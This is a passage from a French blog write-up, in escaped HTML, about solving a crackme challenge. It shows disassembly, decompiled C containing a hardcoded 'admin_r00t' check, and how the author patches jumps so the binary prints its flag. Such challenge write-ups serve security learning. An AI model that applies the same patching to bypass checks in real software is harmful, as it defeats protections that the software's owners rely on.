red;"&gt;; ---------------------------------------------------------------------------&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;br style="color: red;" /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;loc_8048AEB:&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; eax, 45h&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;br style="color: red;" /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;loc_8048AF0:&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; add&amp;nbsp;&amp;nbsp;&amp;nbsp; esp, 2074h&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; pop&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; pop&amp;nbsp;&amp;nbsp;&amp;nbsp; esi&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; pop&amp;nbsp;&amp;nbsp;&amp;nbsp; edi&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; mov&amp;nbsp;&amp;nbsp;&amp;nbsp; esp, ebp&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; pop&amp;nbsp;&amp;nbsp;&amp;nbsp; ebp&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; retn&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;main&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; endp&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;br style="color: red;" /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;; ---------------------------------------------------------------------------&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ...&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;&amp;nbsp; Dans cet extrait du code assembleur , ces fonctions semblent etre celles qui nous intéressent&amp;nbsp; , a partir de la on réalise un désassemblage qui donne :&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_2PS8BofuJBc/TTSydlvhyaI/AAAAAAAAABw/c5gkvp_i4og/s1600/secu_by_def_bin1.png" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="400" src="http://2.bp.blogspot.com/_2PS8BofuJBc/TTSydlvhyaI/AAAAAAAAABw/c5gkvp_i4og/s400/secu_by_def_bin1.png" width="327" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;br /&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;J'ai ensuite étudié l'algo un peu plus en profondeur via un dump C d'Hexrays qui s'avéra trés&amp;nbsp; instructif quand au fonctionnement ducrackme.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;&amp;nbsp;&lt;b style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt; &lt;span style="color: red;"&gt;...&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;b style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br style="color: red;" /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; printf("\n--- Welcome to '%s' systems.\n", v0);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; v1 = tor(&amp;amp;v34);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; printf("%s", v1);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; fflush(stdin);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; gets(&amp;amp;v70);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; v2 = tor(&amp;amp;v28);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; printf("%s", v2);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; fflush(stdin);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; gets(&amp;amp;v69);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; v3 = tor(&amp;amp;v24);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; printf("%s", v3);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; fflush(stdin);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; gets((char *)v72);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; v4 = tor(&amp;amp;v19);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; printf("%s", v4);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; fflush(stdin);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; gets(&amp;amp;v68);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; untrash((const char *)&amp;amp;v11);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; v5 = tor(&amp;amp;v11);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; printf("%s", v5);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; fflush(stdin);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; gets(&amp;amp;v67);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; for ( i = -5; i &amp;lt;= 9; ++i )&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; {&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ( *(_DWORD *)v73 == i )&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; v6 = tor(&amp;amp;v47);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("ALERT: %s\n", v6);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; }&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; if ( *(_DWORD *)v73 )&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; {&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; untrash(&amp;amp;v53);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; v8 = tor((int *)&amp;amp;v53);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; v9 = tor(&amp;amp;v55);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("%s %s\n", v9, v8);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; result = 0;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; }&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; else&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; {&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ( strcmp(&amp;amp;v67, "admin_r00t") )&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; result = 69;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; v10 = tor(&amp;amp;v62);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("%s :)\n", v10);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; result = 69;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; }&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; return result;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;b&gt;&lt;span style="color: #cccccc; font-size: x-small;"&gt;&lt;span style="color: red;"&gt;&amp;nbsp; ...&lt;/span&gt; &lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Voila , nous somme au coeur du problème a présent, j'me suis donc dit que j'allais travailler ça de façon a patcher le binaire pour luifaire cracher son flag et ne plus avoir&amp;nbsp; d'outputs frustrants comme&amp;nbsp; les : &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #674ea7;"&gt;ALERT: You are not welcome.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;ou encore&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;&lt;span style="color: #674ea7;"&gt;It's not so easy Dude !&lt;/span&gt; (&lt;i&gt;aprés patching de plusieurs sauts conditionels/call par exemple&lt;/i&gt;).&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;Le but recherché étant d'obtenir le flag de validation&amp;nbsp; , j'ai fait ça de façon rapide &lt;/span&gt;&lt;span style="color: #cccccc;"&gt;mais &lt;u&gt;absolument pas esthétique&lt;/u&gt; , puristes s'abstenir ! &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;&amp;nbsp;&amp;nbsp; Pour y parvenir il ne me resta plus qu'a rechercher certaines fonctions (dont celle qui construisent et donne le précieux sésame) puis a patcher afin de jumper au bon endroit.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;&amp;nbsp;Voici quelques une des modifs ainsi effectuées : &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;Parti de cette instruction&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: x-small;"&gt; jmp&amp;nbsp;&amp;nbsp; loc_8048a47&lt;/span&gt;&amp;nbsp; , on jump en &lt;span style="color: red; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: x-small;"&gt;0x8048a47&lt;/span&gt; et on apporte les modifs adéquates.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="color: #cccccc;"&gt;La capture suivante propose 2 vues a savoir a gauche le binaire dans sa version originale , a droite sa version patchée .&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;a href="http://1.bp.blogspot.com/_2PS8BofuJBc/TTSzYudzRjI/AAAAAAAAAB0/ifd0e5IDb0k/s1600/screen1.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://1.bp.blogspot.com/_2PS8BofuJBc/TTSzYudzRjI/AAAAAAAAAB0/ifd0e5IDb0k/s640/screen1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;
